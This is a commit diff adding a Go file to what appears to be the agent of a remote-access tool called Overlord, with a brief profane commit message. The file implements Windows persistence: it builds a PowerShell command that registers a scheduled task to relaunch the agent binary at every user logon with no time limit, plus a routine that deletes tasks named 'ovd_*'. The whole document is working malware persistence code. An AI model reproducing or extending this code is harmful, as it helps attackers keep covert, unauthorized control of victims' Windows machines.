tons of new build options, fix mutex shit, etc

Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go

@@ -0,0 +1,33 @@
+//go:build windows && persist_taskscheduler
+// +build windows,persist_taskscheduler
+
+package persistence
+
+import (
+	"fmt"
+	"strings"
+)
+
+func init() {
+	persistInstallFn = installTaskScheduler
+	persistUninstallFns = append(persistUninstallFns, uninstallTaskScheduler)
+}
+
+func installTaskScheduler(targetPath string) error {
+	taskName := deriveTaskName(targetPath)
+	safe := strings.ReplaceAll(targetPath, "'", "''")
+	script := fmt.Sprintf(
+		`$a = New-ScheduledTaskAction -Execute '%s'; `+
+			`$t = New-ScheduledTaskTrigger -AtLogOn; `+
+			`$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+
+			`Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`,
+		safe, taskName)
+	return runPowerShell(script)
+}
+
+func uninstallTaskScheduler() error {
+	return runPowerShell(
+		`Get-ScheduledTask -ErrorAction SilentlyContinue | ` +
+			`Where-Object { $_.TaskName -like 'ovd_*' } | ` +
+			`Unregister-ScheduledTask -Confirm:$false -ErrorAction SilentlyContinue`)
+}